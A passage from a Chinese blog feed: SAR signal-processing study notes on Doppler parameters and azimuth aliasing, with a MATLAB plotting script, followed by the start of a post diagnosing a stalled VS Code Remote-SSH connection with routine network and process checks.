\frac{2V_r\cos{\theta_{r,c}}}{\lambda} \frac{V_s}{V_r}\theta_{bw}\right|=\frac{2V_s\cos{\theta_{r,c}}}{\lambda}\theta_{bw}</span><span><span><span></span><span>Δ</span><span><span>f</span><span><span><span><span><span><span></span><span><span><span>d</span><span>o</span><span>p</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span></span><span><span><span><span><span><span></span><span><span>λ</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span><span><span>V</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>cos</span><span></span><span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>r</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>V</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>V</span><span><span><span><span><span><span></span><span><span>s</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>b</span><span>w</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span><span><span><span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>λ</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span><span><span>V</span><span><span><span><span><span><span></span><span><span>s</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>cos</span><span></span><span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>r</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>b</span><span>w</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><p>其中比例系数<span><span>Vs/VrV_s/V_r</span><span><span><span></span><span><span>V</span><span><span><span><span><span><span></span><span><span>s</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>/</span><span><span>V</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>源自直线几何假设。</p><p><strong>目标照射时间</strong></p><p>照射时间是目标处于3dB波束范围内的时间宽度，可写为</p><span><span><span>Ta=0.886λR(ηc)LaVgcos⁡θr,cT_a=0.886\frac{\lambda R(\eta_c)}{L_aV_g\cos{\theta_{r,c}}}</span><span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>0.886</span><span><span></span><span><span><span><span><span><span></span><span><span><span>L</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>V</span><span><span><span><span><span><span></span><span><span>g</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>cos</span><span></span><span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>r</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>λ</span><span>R</span><span>(</span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>其中<span><span>0.886λ/La0.886\lambda/L_a</span><span><span><span></span><span>0.886</span><span>λ</span><span>/</span><span><span>L</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为方位向波束宽度，因此<span><span>0.886R(ηc)λ/La0.886R(\eta_c)\lambda/L_a</span><span><span><span></span><span>0.886</span><span>R</span><span>(</span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span>λ</span><span>/</span><span><span>L</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为波束宽度在地面上的投影。</p><p><strong>方位向调频率</strong></p><p>方位向调频率是方位向频率或多普勒频率的变化率，</p><span><span><span>Ka=2λd2R(η)dη2∣η=ηc=2Vr2cos⁡2θr,cλR(ηc)=2Vr2cos⁡3θr,cλR0K_a=\frac{2}{\lambda}\frac{d^2R(\eta)}{d\eta^2}|_{\eta=\eta_c}=\frac{2V_r^2\cos^2{\theta_{r,c}}}{\lambda R(\eta_c)}=\frac{2V_r^2\cos^3{\theta_{r,c}}}{\lambda R_0}</span><span><span><span></span><span><span>K</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>λ</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span>d</span><span><span>η</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>d</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>R</span><span>(</span><span>η</span><span>)</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>∣</span><span><span><span><span><span><span></span><span><span><span>η</span><span>=</span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>λ</span><span>R</span><span>(</span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span><span><span>V</span><span><span><span><span><span><span></span><span><span>r</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>cos</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>r</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>λ</span><span><span>R</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span><span><span>V</span><span><span><span><span><span><span></span><span><span>r</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>cos</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span><span></span><span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>r</span><span>,</span><span>c</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>其中方位向频率为<span><span>2/λ2/\lambda</span><span><span><span></span><span>2/</span><span>λ</span></span></span></span>乘以距离的一阶导数。</p></section></section><section><h3>4.6 二维信号<a href="#46-二维信号"><span>#</span></a></h3><section><h4>4.6.1 信号存储器中的数据排列<a href="#461-信号存储器中的数据排列"><span>#</span></a></h4></section></section></section><section><h2>第五章 SAR信号的性质<a href="#第五章-sar信号的性质"><span>#</span></a></h2><section><h3>5.2 低斜视角情况下的信号频谱<a href="#52-低斜视角情况下的信号频谱"><span>#</span></a></h3><section><h4>5.2.1 距离多普勒频谱<a href="#521-距离多普勒频谱"><span>#</span></a></h4><p>忽略常数项乘积，距离多普勒域中的信号可表示为</p><span><span><span>Srd(τ,fn)≈ωr(τ−2Rrd(fη)c)Wa(fη−fηc)exp{jθrd}S_{rd}(\tau,f_n)\approx\omega_r(\tau-\frac{2R_{rd}(f_\eta)}{c})W_a(f_\eta-f_{\eta_c})exp\{j\theta_{rd}\}</span><span><span><span></span><span><span>S</span><span><span><span><span><span><span></span><span><span><span>r</span><span>d</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span>,</span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span></span><span>≈</span><span></span></span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>τ</span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>c</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span><span><span>R</span><span><span><span><span><span><span></span><span><span><span>r</span><span>d</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span><span>f</span><span><span><span><span><span><span></span><span><span>η</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span><span><span>W</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span><span>f</span><span><span><span><span><span><span></span><span><span>η</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span>e</span><span>x</span><span>p</span><span>{</span><span>j</span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>r</span><span>d</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>}</span></span></span></span></span><p>其中<span><span>RrdR_{rd}</span><span><span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span><span>r</span><span>d</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为该御中的距离徙动。</p></section><section><h4>5.2.2 二维频谱<a href="#522-二维频谱"><span>#</span></a></h4><p>忽略常数项乘积，二维频域中的信号形式为</p><span><span><span>S2df(fτ,fη)=Wr(fτ)Wa(fη−fηc)exp{jθ2df}S_{2df}(f_\tau,f_\eta)=W_r(f_\tau)W_a(f_\eta-f_{\eta_c})exp\{j\theta_{2df}\}</span><span><span><span></span><span><span>S</span><span><span><span><span><span><span></span><span><span><span>2</span><span>df</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span><span>f</span><span><span><span><span><span><span></span><span><span>τ</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>,</span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>η</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>W</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span><span>f</span><span><span><span><span><span><span></span><span><span>τ</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span><span>W</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span><span>f</span><span><span><span><span><span><span></span><span><span>η</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span>e</span><span>x</span><span>p</span><span>{</span><span>j</span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>2</span><span>df</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>}</span></span></span></span></span><p>注意，距离向频率包络<span><span>WrW_r</span><span><span><span></span><span><span>W</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>只是<span><span>fτf_\tau</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>τ</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>的函数而不是<span><span>fηf_\eta</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>η</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>的函数，故目标徙动轨迹并不体现在<span><span>WrW_r</span><span><span><span></span><span><span>W</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>上，而是隐藏在式（5.11）中的相位<span><span>θ2df\theta_{2df}</span><span><span><span></span><span><span>θ</span><span><span><span><span><span><span></span><span><span><span>2</span><span>df</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>里。</p></section></section><section><h3>5.3 一般情况下的信号频谱<a href="#53-一般情况下的信号频谱"><span>#</span></a></h3><section><h4>5.3.1 距离向多普勒变换<a href="#531-距离向多普勒变换"><span>#</span></a></h4></section></section><section><h3>5.4 方位混叠与多普勒中心<a href="#54-方位混叠与多普勒中心"><span>#</span></a></h3><section><h4>5.4.1 方位混叠和模糊的起因<a href="#541-方位混叠和模糊的起因"><span>#</span></a></h4><p>如4.5.3节所述，方位向采样率PRF的提高常常会受到诸如距离测绘带等因素的限制。这意味着方位信号分量将以模糊的形式相互混叠，这一问题将在随后的两节中讨论。</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>%% 离散脉冲对方位信号的采样造成的方位混叠</span></div></div><div><div><div>2</div></div><div><span>clear; clc; close all;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>%% ------------ 基本参数设置 ------------ %%</span></div></div><div><div><div>5</div></div><div><span>PRF2 = 1000;              % 低 PRF（产生混叠），单位：Hz</span></div></div><div><div><div>6</div></div><div><span>PRF1 = 4 * PRF2;          % 高 PRF（混叠前），单位：Hz，设为低 PRF 的 4 倍</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>T_az = 0.128;             % 方位向观测时间长度（秒）</span></div></div><div><div><div>9</div></div><div><span>N1   = round(PRF1*T_az);  % 高 PRF 下采样点数</span></div></div><div><div><div>10</div></div><div><span>N2   = round(PRF2*T_az);  % 低 PRF 下采样点数</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>% 将时间轴中心对齐到 0，便于看到对称的 chirp</span></div></div><div><div><div>13</div></div><div><span>t1 = ((0:N1-1) - N1/2)/PRF1;   % 高 PRF 的时间轴</span></div></div><div><div><div>14</div></div><div><span>t2 = ((0:N2-1) - N2/2)/PRF2;   % 低 PRF 的时间轴</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>% 方位向 chirp 参数：f_inst(t) = f0 + K * t</span></div></div><div><div><div>17</div></div><div><span>f0 = 0;                 % 中心频率（相对基带），Hz</span></div></div><div><div><div>18</div></div><div><span>K  = 2e4;               % 方位向频率调制斜率（Hz/s），保证在高 PRF 下不混叠，在低 PRF 下混叠</span></div></div><div><div><div>19</div></div><div>
</div></div><div><div><div>20</div></div><div><span>% 连续时间相位：phi(t) = 2*pi * (f0*t + 0.5*K*t^2)</span></div></div><div><div><div>21</div></div><div><span>phi1 = 2*pi*(f0*t1 + 0.5*K*t1.^2);</span></div></div><div><div><div>22</div></div><div><span>phi2 = 2*pi*(f0*t2 + 0.5*K*t2.^2);</span></div></div><div><div><div>23</div></div><div>
</div></div><div><div><div>24</div></div><div><span>% ------------ (a) 混叠前 chirp 信号（高 PRF 采样） ------------ %</span></div></div><div><div><div>25</div></div><div><span>s1 = real(exp(1j*phi1));   % 取实部作为方位向回波实部</span></div></div><div><div><div>26</div></div><div>
</div></div><div><div><div>27</div></div><div><span>% ------------ (b) 混叠后 chirp 信号（低 PRF 采样） ------------ %</span></div></div><div><div><div>28</div></div><div><span>s2 = real(exp(1j*phi2));   % 同一物理信号，在低 PRF 下采样，产生多普勒混叠</span></div></div><div><div><div>29</div></div><div>
</div></div><div><div><div>30</div></div><div><span>% ------------ (c) 瞬时频率（归一化到低 PRF） ------------ %</span></div></div><div><div><div>31</div></div><div><span>% 真实瞬时频率（Hz）</span></div></div><div><div><div>32</div></div><div><span>f_inst_true = f0 + K*t2;        % 与物理场景有关的真实方位向多普勒频率</span></div></div><div><div><div>33</div></div><div>
</div></div><div><div><div>34</div></div><div><span>% 归一化到低 PRF（单位：PRF2 的倍数）</span></div></div><div><div><div>35</div></div><div><span>f_norm_true = f_inst_true / PRF2;</span></div></div><div><div><div>36</div></div><div>
</div></div><div><div><div>37</div></div><div><span>% 数字角频率 (rad/sample)，按低 PRF 计算</span></div></div><div><div><div>38</div></div><div><span>omega2 = 2*pi*f_inst_true / PRF2;</span></div></div><div><div><div>39</div></div><div>
</div></div><div><div><div>40</div></div><div><span>% 利用 atan2(sin, cos) 将角频率折叠到 [-pi, pi]，体现混叠</span></div></div><div><div><div>41</div></div><div><span>omega2_alias = atan2(sin(omega2), cos(omega2));</span></div></div><div><div><div>42</div></div><div>
</div></div><div><div><div>43</div></div><div><span>% 折叠后的归一化频率（相对于 PRF2），范围约在 [-0.5, 0.5]</span></div></div><div><div><div>44</div></div><div><span>f_norm_alias = omega2_alias / (2*pi);</span></div></div><div><div><div>45</div></div><div>
</div></div><div><div><div>46</div></div><div><span>%% ------------ 画图 ------------ %%</span></div></div><div><div><div>47</div></div><div><span>figure('Position',[200 100 900 700],'Color','w');</span></div></div><div><div><div>48</div></div><div>
</div></div><div><div><div>49</div></div><div><span>% (a) 混叠前方位 chirp 信号实部（高 PRF）</span></div></div><div><div><div>50</div></div><div><span>subplot(3,1,1);</span></div></div><div><div><div>51</div></div><div><span>n1 = 0:N1-1;   % 方位向采样点序号</span></div></div><div><div><div>52</div></div><div><span>plot(n1, s1, 'LineWidth', 1.2);</span></div></div><div><div><div>53</div></div><div><span>grid on;</span></div></div><div><div><div>54</div></div><div><span>xlabel('方位向（采样点）');</span></div></div><div><div><div>55</div></div><div><span>ylabel('幅度');</span></div></div><div><div><div>56</div></div><div><span>title('（a）混叠前方位 chirp 信号实部（高 PRF 采样）');</span></div></div><div><div><div>57</div></div><div>
</div></div><div><div><div>58</div></div><div><span>% (b) 混叠后方位 chirp 信号实部（低 PRF）</span></div></div><div><div><div>59</div></div><div><span>subplot(3,1,2);</span></div></div><div><div><div>60</div></div><div><span>n2 = 0:N2-1;   % 方位向采样点序号</span></div></div><div><div><div>61</div></div><div><span>plot(n2, s2, 'LineWidth', 1.2);</span></div></div><div><div><div>62</div></div><div><span>grid on;</span></div></div><div><div><div>63</div></div><div><span>xlabel('方位向（采样点）');</span></div></div><div><div><div>64</div></div><div><span>ylabel('幅度');</span></div></div><div><div><div>65</div></div><div><span>title('（b）混叠后方位 chirp 信号实部（低 PRF 采样）');</span></div></div><div><div><div>66</div></div><div>
</div></div><div><div><div>67</div></div><div><span>% (c) 瞬时频率（虚线：真实频率 / PRF2；实线：混叠后频率 / PRF2）</span></div></div><div><div><div>68</div></div><div><span>subplot(3,1,3);</span></div></div><div><div><div>69</div></div><div><span>plot(n2, f_norm_true, '--', 'LineWidth', 1.5); hold on;</span></div></div><div><div><div>70</div></div><div><span>plot(n2, f_norm_alias, '-',  'LineWidth', 1.5);</span></div></div><div><div><div>71</div></div><div><span>grid on;</span></div></div><div><div><div>72</div></div><div><span>xlabel('方位向（采样点）');</span></div></div><div><div><div>73</div></div><div><span>ylabel('瞬时频率 / PRF');</span></div></div><div><div><div>74</div></div><div><span>title('（c）瞬时频率：虚线为真实频率，实线为采样后混叠频率');</span></div></div><div><div><div>75</div></div><div><span>legend('真实瞬时频率 / PRF','混叠后频率 / PRF','Location','best');</span></div></div><div><div><div>76</div></div><div>
</div></div><div><div><div>77</div></div><div><span>% 总标题</span></div></div><div><div><div>78</div></div><div><span>sgtitle('离散脉冲对方位信号的采样造成的方位混叠');</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><img alt="" loading="lazy" width="1180" height="998" src="/_astro/image-15-5a4d6211e17e.ZoFSZFPy_1NQ7EQ.webp" /></p><p>当对信号频率进行观测时，混叠现象也会变得很明显。在图5.3（c）中，虚线表示图5.3（a）中没有混叠的信号频率，实线表示图5.3（b）中降采样信号或混叠信号的频率。</p><p>PRF时间定义为覆盖一个PRF频带的方位chirp信号时间，在图5.3中，就是32个采样时间。PRF时间的引入是为了强调由雷达系统PRF采样造成的混叠现象。</p></section><section><h4>5.4.2 多普勒中心<a href="#542-多普勒中心"><span>#</span></a></h4><p>实际上，如图5.4所示，点目标接收信号能量只集中在一个PRF时间内。信号幅度受到方位向波束形状的调制，这种调制使峰值出现在某一频率点上，而-6dB（双程）基准出现在距峰值频率点两侧略小于PRF/2时间处。</p><p><strong>多普勒模糊</strong> 由于可能存在方位混叠，从方位频谱中观测到的多普勒中心并不唯一。当实际中心频率并不处于观测频谱的基带<span><span>(−Fa/2,+Fa/2)(-F_a/2,+F_a/2)</span><span><span><span></span><span>(</span><span>−</span><span><span>F</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>/2</span><span>,</span><span></span><span>+</span><span><span>F</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>/2</span><span>)</span></span></span></span>之内时，就会发生模糊。</p></section><section><h4>5.4.3 多普勒模糊<a href="#543-多普勒模糊"><span>#</span></a></h4><p>由于信号的PRF采样，频谱是混叠的。“基带”频谱是接收数据中唯一可见的频谱。通过观测频谱的峰值位置估计出的多普勒中心频率处于<span><span>±0.5Fa\pm0.5F_a</span><span><span><span></span><span>±</span><span>0.5</span><span><span>F</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>范围内，其中<span><span>FaF_a</span><span><span><span></span><span><span>F</span><span><span><span><span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>为PRF。由于观测到的多普勒中心频率局限于一个PRF之内，将其称为多普勒中心的小数PRF部分，用符号<span><span>fηc′f'_{\eta_c}</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span><span><span>η</span><span><span><span><span><span><span></span><span><span>c</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span><span></span><span><span><span>′</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>表示，以与绝对多普勒中心频率区别开。</p></section><section><h4>5.4.4 距离向的多普勒中心变化<a href="#544-距离向的多普勒中心变化"><span>#</span></a></h4><p>在距离频域的处理算法中，一个距离处理带宽内的多普勒中心变化不能太大。如果变化过大，而PRF又不够高，那么位于方位谱起始和结束位置处的能量会互相混合，方位模糊就会加重。</p></section></section><section><h3>5.5 距离徙动<a href="#55-距离徙动"><span>#</span></a></h3><section><h4>5.5.1 距离徙动的分量<a href="#551-距离徙动的分量"><span>#</span></a></h4></section><section><h4>5.5.2 同一距离处的多个目标<a href="#552-同一距离处的多个目标"><span>#</span></a></h4></section><section><h4>5.5.3 目标轨迹卷绕<a href="#553-目标轨迹卷绕"><span>#</span></a></h4></section></section><section><h3>5.6 点目标示例<a href="#56-点目标示例"><span>#</span></a></h3><section><h4>5.6.1 仿真参数<a href="#561-仿真参数"><span>#</span></a></h4></section></section><section><h3>5.7 SAR处理算法初窥<a href="#57-sar处理算法初窥"><span>#</span></a></h3><section><h4>5.7.1 时域匹配滤波<a href="#571-时域匹配滤波"><span>#</span></a></h4></section><section><h4>5.7.2 机载实时处理图像<a href="#572-机载实时处理图像"><span>#</span></a></h4></section><section><h4>5.7.3 非聚焦SAR<a href="#573-非聚焦sar"><span>#</span></a></h4></section><section><h4>5.7.4 更好的处理算法<a href="#574-更好的处理算法"><span>#</span></a></h4></section></section></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.haihengyang.com/posts/paper/vscode-remote-ssh-troubleshooting/</id>
      <title type="text">VS Code Remote-SSH 卡在 Waiting for server log... 的故障排查与处理</title>
      <published>2026-09-29T00:00:00.000Z</published>
      <updated>2026-09-29T00:00:00.000Z</updated>
      <author><name>YANGHAIHENG</name></author>
      <link rel="alternate" href="https://blog.haihengyang.com/posts/paper/vscode-remote-ssh-troubleshooting/"/>
      <summary type="text">Remote-SSH 停留在 Waiting for server log 时的排查过程与 VS Code Server 故障处理。</summary>
      <content type="html"><![CDATA[<section><h2>问题现象<a href="#问题现象"><span>#</span></a></h2><p>在修改本机 Tailscale 设备名称后，VS Code Remote-SSH 无法正常连接远程 Ubuntu 服务器，连接日志持续显示：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Waiting for server log...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>初步排查后确认，网络与 SSH 链路均正常，实际故障位于远端 VS Code Server 进程状态。</p></section>
<section><h2>排查过程<a href="#排查过程"><span>#</span></a></h2><p>首先验证 Tailscale 连通性：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>tailscale ping &lt;server-ip&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>测试正常，说明客户端与服务器之间的 Tailscale 网络可用。</p><p>随后检查 SSH 端口：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>nc -vz &lt;server-ip&gt; 22</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>返回：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Connection to &lt;server-ip&gt; port 22 succeeded!</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>说明 TCP 22 端口可正常访问。</p><p>进一步通过 OpenSSH 验证：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ssh -vvv user@&lt;server-ip&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>日志显示：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Authenticated to &lt;server-ip&gt; using "publickey".</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>并能够正常进入远程 Shell。</p><p>因此可以确认以下组件均工作正常：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Tailscale 网络</span></div></div><div><div><div>2</div></div><div><span>TCP 22</span></div></div><div><div><div>3</div></div><div><span>OpenSSH Server</span></div></div><div><div><div>4</div></div><div><span>SSH 公钥认证</span></div></div><div><div><div>5</div></div><div><span>远程 Linux 用户登录</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>故障范围由此缩小至 VS Code Remote-SSH 及远端 VS Code Server。</p></section>
<section><h2>VS Code Server 状态检查<a href="#vs-code-server-状态检查"><span>#</span></a></h2><p>在服务器上检查当前用户的 VS Code 相关进程：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ps -u "$USER" -f | grep -E 'vscode|code-[0-9a-f]' | grep -v grep</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以看到已有 VS Code Server 和 Agent Host 进程存在。</p><p>随后查看服务端日志：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>tail -n 100 ~/.vscode-server/cli/agent-host-stable.log</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>日志中包含：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Server ready</span></div></div><div><div><div>2</div></div><div><span>Server started</span></div></div><div><div><div>3</div></div><div><span>Listening on 127.0.0.1:&lt;port&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>说明 VS Code Server 可以正常启动，但现有远端进程或会话状态可能存在异常，导致新的 Remote-SSH 连接无法正常完成初始化。</p></section>
